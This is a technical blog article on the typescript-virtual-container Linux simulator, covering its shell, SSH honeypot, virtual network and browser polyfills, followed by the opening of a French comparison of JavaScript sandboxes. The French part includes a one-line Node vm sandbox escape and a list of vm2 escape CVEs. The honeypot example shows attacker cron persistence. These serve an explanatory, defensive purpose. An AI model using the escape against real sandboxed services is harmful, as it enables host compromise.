Quick intro since this is the first time I mention her properly: typescript-virtual-container was built by Chloé Rolzhausen, a French developer who goes by Fortune (or ItsRealFortune) online. You can find her on her website and on LinkedIn. The whole project -- 56k lines of TypeScript, 247 files, 170 commands -- was a solo effort by one person. I'll be calling her Fortune for the rest of the article. And yeah, it's kinda wild. Go check out her stuff!

What it actually is

typescript-virtual-container is a Linux environment simulator written in pure TypeScript. No Wasm. No native addons. No kernel. ~56,000 lines of source across 247 TypeScript files.

The key insight: you don't need a CPU emulator to make ls /etc | grep passwd work. You need:

  1. A tree of nodes in memory that respond to path operations
  2. A POSIX permission model enforced on every access
  3. A shell parser that understands pipelines, redirections, subshells, and variable expansion
  4. ~170 command implementations (functions, not binaries)
  5. A user and group management system
  6. Something to expose all of this over SSH

All of that is achievable in pure TypeScript with no kernel involvement.

The VirtualFileSystem

The VFS is an in-memory tree of typed nodes -- no disk I/O unless you explicitly enable "fs" persistence mode:

// Simplified internal representation
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // lazy-loaded placeholder

Every path operation goes through normalizePath (resolves ., .., symlinks) and enforceAccess (checks read/write/execute permission against the requesting uid/gid). chmod, chown, sticky bits, and setuid are all implemented and actually enforced. If a process running as uid 1000 tries to read a file owned by root with mode 0600, it gets EACCES -- not a fake EACCES, a real JavaScript Error thrown from the permission check. That part is pretty elegant honestly.

The VFS serializes to:

  • .vfsb -- a compact binary format (custom, with fflate compression) -- this is the default
  • JSON snapshot -- human-readable, good for debugging
  • TAR archive -- import/export with real tar format, so you can tar -xf something and the VFS just... has those files
  • SquashFS image -- read-only import

In "fs" persistence mode, it maintains a write-ahead journal (WAL) for crash recovery -- writes go to the journal first, then to the snapshot on flush. If Node crashes mid-operation, the journal lets you reconstruct the last complete state.

There's also a FileCache layer that simulates disk I/O latency. You configure profiles like NVME_DISK_IO or HDD_DISK_IO and the VFS artificially delays file operations to match realistic timings. Which is kinda funny -- software intentionally slowing itself down to simulate hardware -- but actually very useful for benchmarking.

The shell interpreter

The shell parser produces a typed AST:

// "ls /etc | grep root && echo done" parses to:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

The executor walks this AST:

  • For a pipeline, it creates a chain of { stdin, stdout, stderr } streams and executes each command with piped I/O
  • For logical operators (&&, ||), it checks $? after the left side before running the right
  • For subshells ($(...), ` `), it forks the execution context
  • For redirections (>file, >>file, 2>&1, <file), it sets up stream wiring before execution
  • For background jobs (cmd &), it runs without waiting for completion
  • For variables, it expands $VAR, ${VAR:-default}, ${#VAR}, and arithmetic $((expr))
  • For brace expansion ({a,b,c}, {1..5}), it generates the full expansion list before executing

All of this is real POSIX shell behavior. The parser handles heredocs, process substitution, globbing (*, ?, [abc]), and quote handling (single quotes, double quotes with interpolation, backslash escaping). It's not perfect -- edge cases exist -- but it's way beyond what you'd expect from a TypeScript project.

~170 built-in commands

Commands are TypeScript functions registered in a command registry. They receive a CommandContext with stdin/stdout/stderr streams, the VFS, the user session, the shell environment, and access to submodules.

Writing 170 Unix command implementations is... a lot. Some are trivial (echo, true, false), some are surprisingly complex (awk, find, tar). Like, full POSIX awk? In TypeScript? That's insane honestly. Here's a sample of what's in there:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (client-side, connecting out),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (full interactive editor), vim (basic), vi (basic),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulated), systemctl (stubbed), journalctl (stubbed),
...and ~130 more

The "stubs" (git, python3, node) respond realistically to common invocations -- python3 --version returns a believable version string, git status shows a fake repo state -- without doing real work. For a honeypot, these are actually more useful than the real things, because they allow you to observe what attackers try to run without actually executing anything harmful.

The SSH server

The SSH layer uses the real ssh2 npm package -- actual SSH protocol, real key exchange, real encryption. SSHMimic wraps it:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// Real SSH: ssh -p 2222 root@localhost
// Real SFTP: sftp -P 2222 root@localhost
// Real SCP: scp -P 2222 file root@localhost:/tmp/

The shellProperties determine what uname -a, lsb_release -a, neofetch, /proc/version, and /etc/os-release report. You can impersonate any Linux distribution and kernel version convincingly -- to a real SSH client there's literally no way to tell the difference.

The HoneyPot module

Because the shell interpreter is real and the SSH server is real, attacker commands actually execute in the virtual environment. Attacker-triggered wget requests are logged with destination URLs. Attacker-created files are saved in the VFS. Attacker permission escalation attempts produce realistic errors.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// After a session, diff the filesystem
const before = shell.vfs.toSnapshot();
// ... attacker session ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

This is qualitatively different from Cowrie. Cowrie's fake filesystem can respond to ls but can't actually track what files an attacker created and what changes they made as a structured diff. typescript-virtual-container can, because the VFS is a live data structure -- every write is tracked. That cron entry the attacker just added? It's in the diff. That .hidden folder? In the diff. Pretty useful for malware analysis.

The virtual network stack

This is probably the most impressive part of the whole project, and it has no equivalent in any other project in this space. Like, a full L2/L3 virtual network stack with VPN support, written in pure TypeScript, with no real network adapters involved. That's genuinely wild.

VirtualNetworkManager gives each VirtualShell instance virtual network interfaces with configurable IP addresses, routing tables, and a software firewall (iptables-style rules with conntrack and NAT). ip addr, ip route, iptables -L, netstat -rn all show the virtual network state.

VirtualSwitch (named Baie -- from the French word for server rack bay, "baie informatique") connects multiple shells on a shared subnet. It implements:

  • MAC learning and ARP
  • IP routing between subnets
  • NAT (outbound masquerade)
  • DNS (configurable per-subnet records)
  • Load balancing (round-robin, least-connections)
  • Traffic shaping: latency, jitter (Gaussian distribution), packet loss, burst loss, reordering, duplication
  • Bandwidth limiting (token bucket)
  • MTU enforcement
  • Connection tracking (stateful, with NEW/ESTABLISHED/TIME_WAIT states)
const baie = new Baie("192.168.0.0/24");

// Three virtual machines on the same switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web can reach api, api can reach db, web cannot reach db directly
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Traffic shaping: simulate a flaky WAN link to the outside
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn creates encrypted tunnels between Baie instances -- you can simulate a multi-site network with VPN interconnects between sites.

VirtualProxy implements port forwarding and a SOCKS5 proxy.

None of this touches a real network adapter. It's all TypeScript object routing. The ping command "works" by routing through the virtual switch and returning simulated ICMP replies. curl http://192.168.0.3/api routes through the virtual network, hits the api shell's simulated HTTP response, and returns the content. It's turtles all the way down, in the best possible way.

The SandboxedShell

For programmatic use where you need stronger isolation, SandboxedShell runs a shell session in a Node.js Worker thread:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% of one core
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

The isolation here is enforced by the VFS layer (the worker thread's shell can only see the virtual filesystem, never the host filesystem) plus Node.js Worker thread memory isolation. This is lighter than isolated-vm but more appropriate for shell-level isolation rather than JS-level isolation.

Resource capping

You can configure per-shell resource caps that affect what system monitoring commands report:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Inside that shell, free -m shows 512 MB total RAM. nproc returns 2. /proc/meminfo shows the capped values. htop and top show the capped CPU count. This lets you fingerprint the fake machine's hardware profile precisely.

Three deployment modes

Mode 1: SSH/SFTP server
  VirtualSshServer / VirtualSftpServer
  → Real SSH protocol, real SFTP, real SCP
  → Use case: honeypots, remote testing environments, training labs

Mode 2: Web shell (browser)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM bundle)
  → Runs in browser, VFS persisted in IndexedDB
  → Use case: interactive tutorials, embedded terminals, demos
  → Bonus: run startxfce4 for a full simulated XFCE desktop

Mode 3: Standalone CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (single file, no install)
  → curl and run, persists VFS in .vfs/ directory
  → Use case: quick demos, local experimentation

The polyfills -- how the browser build works without Wasm

OK this is the part I find genuinely clever and wanted to call out specifically.

Getting a Node.js library to run in the browser is usually a nightmare. You either use a Wasm runtime (heavy, slow to load) or you spend weeks manually replacing every node:* import with a browser-compatible alternative. Fortune did the second thing -- but very cleanly, by writing a set of custom polyfills that live in the polyfills/ directory of the repo.

The build pipeline is just esbuild with a pile of alias entries:

// demo/build.js -- the entire browser build config
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

No Wasm. No external polyfill library. No webpack-node-externals nonsense. Just aliased modules and a couple of injected globals. Let me walk through each one because some of them are genuinely impressive.

node:fs -- IndexedDB as a fake filesystem

This one is my favourite. The node:fs polyfill implements the synchronous Node.js fs API (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) backed by two layers: an in-memory Map for synchronous reads, and IndexedDB for persistence across page reloads. Writes hit the Map immediately (so readFileSync right after writeFileSync always works), then flush to IndexedDB asynchronously in the background.

// Sync cache (path → Uint8Array | null) -- instant reads
const memCache = new Map();

// Preload everything from IndexedDB into memCache at startup
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

This is the reason the VFS snapshot survives page reloads in the browser -- the entire .vfsb binary gets written to IndexedDB via this polyfill, and read back on the next load. No Wasm. No server. Just IndexedDB, which has been in every browser since like 2011.

node:crypto -- SHA-256 in pure JS

Instead of pulling in a Wasm crypto library, the crypto polyfill implements SHA-256 from scratch using the FIPS 180-4 round constants. 166 lines of pure JS with full hex/base64/Uint8Array output support. All the hashing in the library goes through this -- SSH host key fingerprinting, internal checksums, everything. Compact, zero dependency, just works.

node:os -- reads the browser's actual hardware

This one's a nice touch. Instead of returning hardcoded placeholder values, node:os reads navigator.deviceMemory for total RAM and navigator.hardwareConcurrency for CPU count. So neofetch inside the browser build actually reports something that corresponds to your real machine -- not a made-up 2 cores, 2GB RAM stub.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB fallback
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // also parses navigator.userAgent to guess the CPU model string
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- honest stubs

The browser can't open TCP sockets or run real SSH, so these are stubs that throw a NotImplemented error with a clear message if anything tries to use them. No silent failure, no undefined returned where an object is expected. Just a loud, clear "this doesn't work in the browser" -- which is exactly what you want.

process.js and buffer.js -- injected globals

These two are injected at the top of every bundled file via esbuild's inject option, so process and Buffer are globally available without any explicit import. process.js is tiny: env, version, platform: 'browser', nextTick via queueMicrotask, uptime via performance.now(). buffer.js is a full Buffer reimplementation on top of Uint8Array -- all the readUInt32BE, writeInt16LE, hex/base64 encoding methods that the SSH implementation and VFS rely on.


The whole set of polyfills is about 640 lines of handwritten JS total. No npm packages. No Wasm. And the result is a browser bundle that's just the library, running natively, with none of the usual "but does it actually work in the browser?" anxiety you get with Node-first libraries. It's worth a look at the polyfills/ folder in the repo if you're curious -- each file is well-contained and readable on its own, which is a style choice I appreciate a lot.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Category JS sandbox JS sandbox JS sandbox Emulator Emulator Node.js/Wasm Honeypot Simulator
Isolates JS ⚠️ scope ✅ V8 Isolate ✅ Wasm n/a n/a partial n/a ✅ Worker
Real Linux kernel ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Shell interpreter ❌ ❌ ❌ ✅ (real) ✅ (real) ✅ (real) partial ✅ (custom)
~170 Unix commands ❌ ❌ ❌ ✅ ✅ partial ~20 ✅
POSIX permissions ❌ ❌ ❌ ✅ ✅ ✅ partial ✅ enforced
User management ❌ ❌ ❌ ✅ ✅ ❌ minimal ✅ full
Real SSH server ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/audit ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS diff/snapshot ❌ ❌ ❌ limited ❌ ❌ ❌ ✅
Virtual network L2/L3 ❌ ❌ ❌ basic ❌ ❌ ❌ ✅ full
Virtual VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Browser support ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js native ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
Typed API basic ✅ ✅ minimal ❌ ✅ ❌ ✅ full
Binary compatibility n/a n/a n/a ✅ ✅ partial n/a ❌
Boot time instant instant instant 15–40s 15–40s 2–5s instant <1s
RAM/instance ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
Runtime deps 0 1 (native) 1 (Wasm) 0 proprietary 1 Python deps 3 (ssh2, ws, fflate)
Status stable ✅ active ✅ active ✅ very active commercial ✅ active ✅ active ✅ active

When to reach for what

You need to run untrusted JavaScript -- a user-submitted formula, a plugin, a script hook.
→ isolated-vm. Real V8 Isolate, hard memory limits, explicit communication bridge. Avoid vm2 -- the CVE list keeps growing, seriously it's like a new one every few months. Avoid vm -- it's not a sandbox at all, please.

You need to sandbox JS and don't want a native addon, or need browser compatibility.
→ quickjs-emscripten. Wasm boundary, ~500 KB module, works in browsers and Node. Slower than V8 but genuinely isolated.

You need to boot a real, unmodified Linux OS with binary compatibility.
→ v86 for 32-bit Linux, or container2wasm if you have an existing Docker image. Accept 150 MB+ RAM and a 30-second boot, that's just the deal. If you need 64-bit, look at CheerpX or just use a real container runtime.

You need to embed a Linux-like terminal in a web app without a backend.
→ v86 (full OS, heavy, slow to start) or the browser bundle from typescript-virtual-container (simulator, lighter, instant boot, includes startxfce4 for a full desktop which is pretty cool ngl).

You need interactive online coding tutorials or a browser IDE.
→ WebContainers if you're Node.js-ecosystem focused. CheerpX if you need a real Linux userland. typescript-virtual-container's browser bundle if you want a lighter option with a typed API.

You want to collect SSH attacker TTPs at scale.
→ Cowrie is the production standard, full stop. Runs on any Linux server, integrates with every SIEM, has LLM-mode now. Just use Cowrie.

You want SSH honeypot data in a Node.js application with a programmatic API.
→ typescript-virtual-container. Commands actually execute. The VFS is a real data structure you can snapshot and diff. The attacker gets a convincing, interactive environment, and you get structured audit data without leaving Node.

You need shell automation / testing in CI without Docker.
→ typescript-virtual-container. Boot in under a second, snapshot before a test, restore after. Run shell commands with a typed API. No Docker daemon, no kernel, no VM, no waiting.

You need multi-tenant shell environments (SaaS, education, training).
→ typescript-virtual-container. 5–20 MB per instance vs. 150–256 MB for an emulator. 100 concurrent users: ~2 GB vs. ~25 GB. That's a big difference in hosting costs!

You need a realistic honeypot that also lets you build a multi-VM network lab.
→ typescript-virtual-container is the only thing in this space that does both.


What it can't do (and I want to be honest about this)

It can't run native x86 binaries. If you need to compile C code, run a real Python interpreter, or use software compiled for Linux, there's no kernel ABI to back those syscalls. Commands like gcc, python3, and node are stubs -- they respond to --version and common invocations, but don't execute anything real.

This is the fundamental tradeoff: you gain 10–50x lower memory, instant boot, browser compatibility, a typed API, real SSH, and virtual networking -- and you give up binary compatibility with the Linux userland.

Fortune thought about this a lot when designing the project. For the use cases she was targeting -- honeypots, testing, embedded terminals, CI environments -- running a compiled binary is never actually needed. Shell pipelines, file manipulation, network routing, and SSH covers everything. But if your use case requires real compiled software, v86 or Docker is the right answer, not this.


Wrapping up

Sooooo yeah. This ecosystem is wider and more fragmented than it looks from the outside. vm is a scope separator, not a sandbox. vm2 keeps accumulating CVEs (for real, just check this month's advisories). isolated-vm is the correct JS sandboxing answer but JS-only. quickjs-emscripten is the right choice when you need browser compat or want to avoid native addons. v86 and CheerpX are real emulators when you need real binary compatibility. WebContainers is Node.js in Wasm, not a general Linux environment. Cowrie is the SSH honeypot gold standard, but it's Python and not Node-native.

And then there's typescript-virtual-container -- Fortune's project -- which kinda lives in its own category. Not an emulator, not a JS sandbox, not a passive honeypot. Something in between all of them that turned out to be surprisingly useful for a lot of things none of the others can do.

typescript-virtual-container fills the gap none of the others touch: a complete, programmatic Linux shell environment with real SSH, SFTP, POSIX permissions, user management, virtual networking, and a typed TypeScript API -- running in ~10 MB, booting in under a second, working in both Node.js and the browser.

If you want to try it: the source is at github.com/itsrealfortune/typescript-virtual-container and there's a live demo (including startxfce4 for a full desktop, which is honestly sick) at itsrealfortune.fr/typescript-virtual-container/demo. Go check it out and give Fortune some stars on GitHub, she deserves it!

Thanks for reading -- this was a looong one even by my standards :) hope it was useful!


Sources

I tried to link every claim to a primary source -- CVE advisories, official docs, GitHub repos, blog posts from maintainers. A few notes: the vm2 CVE list keeps growing so the FortiGuard link might be out of date by the time you read this (check the GitHub advisories page for the latest). The Bellard links are all stable -- his personal site has been up forever and the content doesn't change. And if you want to go deeper on any of the polyfills, just browse the polyfills/ folder in the typescript-virtual-container repo directly -- it's more readable than any description I could write here.

JavaScript sandboxes

Linux emulators

Terminal stack

Honeypots

typescript-virtual-container

Background reading

Comparaison des solutions JavaScript pour la simulation de noyaux Linux

Une analyse approfondie des reconstitutions d'environnements Linux

Chaque sandbox JavaScript, émulateur, simulateur et honeypot Linux -- comparé

Bon, alors ça fait un moment que je suis bien trop loin dans ce terrier de lapin lol. Tout a commencé parce que j'aidais sur typescript-virtual-container -- un projet de Fortune (j'y reviens dans un instant) -- et on me demandait tout le temps "attends, c'est quoi la différence avec v86 ?" ou "pourquoi ne pas utiliser vm2 ?" -- et je me suis rendu compte que je pouvais pas donner une réponse claire sans cartographier tout l'écosystème d'abord. Donc voilà, on y est je suppose xD

Il s'avère qu'il y a quatre familles distinctes -- les bacs à sable JS, les émulateurs Linux, les simulateurs Linux, et les honeypots -- et elles ne se chevauchent quasiment jamais, même si on les mentionne constamment dans la même phrase. Quelqu'un qui construit un système de plugins utilise isolated-vm. Quelqu'un qui fait une démo d'outil CLI utilise v86. Quelqu'un qui fait du renseignement de menaces SSH utilise Cowrie. Ils résolvent des problèmes complètement différents sous le même vague parapluie de "faire tourner du code dans une boîte."

J'ai passé beaucoup de temps à lire du code source, des rapports CVE, des docs d'architecture et des pages npm pour écrire cet article. Ça va être long -- prends un café, sérieusement. Ou deux.

Petit disclaimer : typescript-virtual-container est mis en avant dans cet article parce que c'est ce qui a déclenché cette recherche. J'ai essayé d'être équitable envers tout le reste, mais garde ce contexte en tête.


Partie 0 -- D'abord, quel problème est-ce que tu résous vraiment ?

Avant de plonger, ça vaut le coup d'être précis sur l'utilité de chaque famille, parce que la terminologie devient vite brouillonne et les gens mélangent tout constamment (moi y compris, avant que je m'assoie et que je cartographie tout proprement).

Les bacs à sable JS isolent du code JavaScript du processus Node.js hôte. Le modèle de menace c'est : du code JS non fiable qui pourrait appeler process.exit(), lire des fichiers, ou lancer des processus enfants. La solution est une frontière autour de l'exécution V8. Ces outils n'ont aucune notion d'un shell Linux, d'un système de fichiers avec des permissions, ou de SSH.

Les émulateurs Linux font tourner un vrai noyau Linux non modifié dans un émulateur CPU (x86, RISC-V, OR1K) implémenté en JavaScript ou WebAssembly. Tu démarres un vrai OS. Tu as de vrais appels système. Tu as la compatibilité binaire avec les programmes compilés pour x86. Le coût en ressources est énorme.

Les simulateurs Linux imitent le comportement d'un système Linux sans faire tourner un vrai noyau. Ils implémentent un interpréteur de shell, un système de fichiers virtuel, et assez de sémantique Unix pour tromper les programmes et les humains. Pas de noyau. Pas de Wasm. Pas d'émulation CPU. Beaucoup moins de ressources.

Les honeypots sont conçus pour attirer les attaquants et enregistrer ce qu'ils font. Ce ne sont pas principalement des environnements d'exécution -- ce sont des outils d'observabilité. La fidélité au comportement réel de Linux importe seulement dans la mesure où elle empêche l'attaquant de détecter le piège.

Avec ce cadre, voici où chaque projet de cet article se situe :

JS sandbox :       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Émulateur Linux :  v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Simulateur Linux : typescript-virtual-container (unique dans cet espace)
Honeypot :         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminal :   xterm.js + node-pty (pas un isolateur, mais connexe)

Partie 1 -- Les bacs à sable JavaScript

1.1 vm -- le module natif de Node.js (pas ce que tu crois)

La réponse la plus ancienne à "exécuter du JS non fiable" dans Node est le module natif vm. Il existe depuis la v0.1, donc beaucoup de gens l'utilisent en premier -- et se font brûler.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Ce que vm fait réellement : il crée un nouveau contexte V8 (un nouvel ensemble de constructeurs natifs -- Object, Array, Function, etc.) et exécute du code dedans, avec une référence partagée vers ce que tu mets dans sandbox. Ton moteur V8 ne change pas. Ton processus ne change pas. La mémoire est partagée.

La raison pour laquelle vm n'offre aucune sécurité : la chaîne de prototypes de JavaScript est un DAG qui connecte tout à Object.prototype. Si tu mets un objet du monde hôte dans le bac à sable, l'invité peut remonter sa chaîne de prototypes et atteindre les constructeurs hôtes. Depuis Function, tu peux appeler Function("return process")() et récupérer le vrai process. Game over. Comme, immédiatement.

// Ça fonctionne parfaitement dans vm -- tu récupères le vrai process
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Je veux dire, la documentation de Node.js elle-même dit : "Le module vm n'est pas un mécanisme de sécurité. Ne l'utilisez pas pour exécuter du code non fiable." Cet avertissement est là depuis toujours. Les gens l'ignorent constamment. J'ai vu des applications en production utiliser vm comme bac à sable. S'il te plaît, ne fais pas ça xD

Verdict : un mécanisme de portée, pas un bac à sable. Utilise-le quand tu as besoin d'isoler des variables (moteurs de templates, fonctionnalités de type eval où tu contrôles le code). Jamais pour des entrées non fiables.

Mémoire : surcharge négligeable -- même tas V8 que le processus hôte.
Sécurité : aucune contre un attaquant motivé.


1.2 vm2 -- la tentative communautaire, et sa très longue mort

vm2 était la réponse de la communauté au problème d'évasion de vm. L'idée centrale : envelopper chaque objet qui franchit la frontière du bac à sable dans un Proxy qui intercepte les accès aux propriétés, bloque la remontée de prototypes, et filtre les références dangereuses. Idée intelligente en théorie ! Pas tellement en pratique, comme on va le voir.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // lance VMError, process inaccessible

Pendant plusieurs années, ça a plutôt bien fonctionné. Mais la surface d'attaque des Proxy JavaScript est énorme. Chaque nouvelle fonctionnalité du langage JS -- générateurs, itérateurs asynchrones, Symbol.toPrimitive, Error.prepareStackTrace, les emplacements internes de Promise -- est un vecteur de contournement potentiel.

La chronologie des CVE est... quelque chose. Genre, regarde ça :

Date CVE Mécanisme
Oct 2022 CVE-2022-36067 Évasion du contexte hôte via Error.prepareStackTrace
Avr 2023 CVE-2023-29017 Fuite d'objet hôte via erreur async non gérée
Avr 2023 CVE-2023-29199 Contournement de l'assainissement des exceptions via handleException()
Avr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Mai 2023 CVE-2023-32314 Proxy sur Error.name → Function → RCE
Jui 2023 CVE-2023-37466 Fonction async + débordement de pile + Proxy.getPrototypeOf
Jui 2023 CVE-2023-37903 Worker thread + évasion par eval

Trois CVE critiques le même mois (avril 2023). TROIS. EN UN MOIS. Après CVE-2023-37903, le mainteneur a officiellement déprécié la bibliothèque avec le message : "La bibliothèque contient des problèmes de sécurité critiques et ne devrait pas être utilisée en production."

Le mainteneur l'a ressuscitée en octobre 2025 avec la version 3.10.0, prétendant avoir corrigé tout ce qui était connu à l'époque. Une nouvelle évasion critique (CVE-2026-22709, CVSS 9.8) a été divulguée en janvier 2026, suivie d'un lot de onze autres en mai 2026. Onze. Le schéma n'a pas changé et honnêtement je ne pense pas qu'il changera un jour.

Le problème fondamental est architectural -- et c'est la leçon qu'il a fallu un moment à tout l'écosystème pour apprendre. Tu ne peux pas construire un bac à sable sécurisé en utilisant le même langage que tu isoles, sur le même moteur, dans le même processus. La surface d'évasion, c'est l'implémentation entière de V8 -- et V8 fait plusieurs millions de lignes de C++ qui changent constamment. Chaque nouvelle fonctionnalité JS ouvre potentiellement une nouvelle voie d'attaque.

Verdict : Ne pas utiliser pour des applications sensibles à la sécurité. Même sur la dernière version, de nouveaux contournements sont découverts tous les quelques mois. Le mainteneur lui-même l'a reconnu ouvertement.


1.3 isolated-vm -- celui qui marche vraiment

isolated-vm adopte la bonne approche : utiliser la primitive d'isolation native de V8, l'Isolate. Chaque Isolate V8 a son propre tas, son propre ramasse-miettes, son propre ensemble de natifs, et zéro référence partagée avec les autres Isolates.

C'est la même frontière que Chrome utilise entre les onglets. C'est une vraie barrière de sécurité, pas une astuce de langage construite sur des Proxy.

import ivm from "isolated-vm";

// Chaque isolate est son propre tas V8
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // limite en MB
const context = await isolate.createContext();
const jail = context.global;

// Passer des données à travers la frontière nécessite une sérialisation explicite
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Ne peut pas atteindre le processus hôte, le tas hôte ou les modules hôtes
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// Tu peux terminer brutalement sur timeout ou limite mémoire
isolate.dispose(); // libère tout le tas

Les types Reference et ExternalCopy sont le pont de communication explicite. Une Reference donne à l'isolate un handle appelable vers une fonction hôte -- l'isolate peut l'appeler mais ne peut pas inspecter sa fermeture ou son prototype. Un ExternalCopy sérialise une valeur (clone structuré) à travers la frontière du tas. Ce modèle de pont explicite n'est pas pratique, mais c'est ce qui rend l'isolation réelle.

Tu peux définir des limites de ressources strictes : mémoire (l'isolate est terminé s'il dépasse la limite), timeout horloge murale, et timeout CPU. La terminaison est réelle -- elle tue tout l'Isolate V8, pas juste un timeout JS qui peut être contourné avec un while(true).

Limites : c'est JS uniquement. Tu ne peux pas exécuter bash dedans. Il n'y a pas de notion de fichiers, de permissions, de réseau ou de processus. C'est exactement le bon outil pour du JS soumis par l'utilisateur (plugins, formules, hooks de script), et le mauvais outil pour tout le reste. L'autrice de typescript-virtual-container a mentionné qu'elle l'avait envisagé au début avant de réaliser qu'"exécuter des commandes shell" et "isoler du JavaScript" sont des problèmes fondamentalement différents.

Mémoire : ~3-10 Mo par isolate vide, augmente avec l'utilisation du tas.
Sécurité : solide. La frontière V8 Isolate est la vraie primitive d'isolation.
npm : isolated-vm
GitHub : laverdet/isolated-vm


1.4 quickjs-emscripten -- un moteur JS séparé compilé en Wasm

Une approche différente : au lieu d'isoler dans V8, faire tourner un moteur JavaScript complètement séparé compilé en WebAssembly. L'hôte tourne dans V8/Node. L'invité tourne dans QuickJS-dans-Wasm. Le bac à sable Wasm fournit la frontière d'isolation.

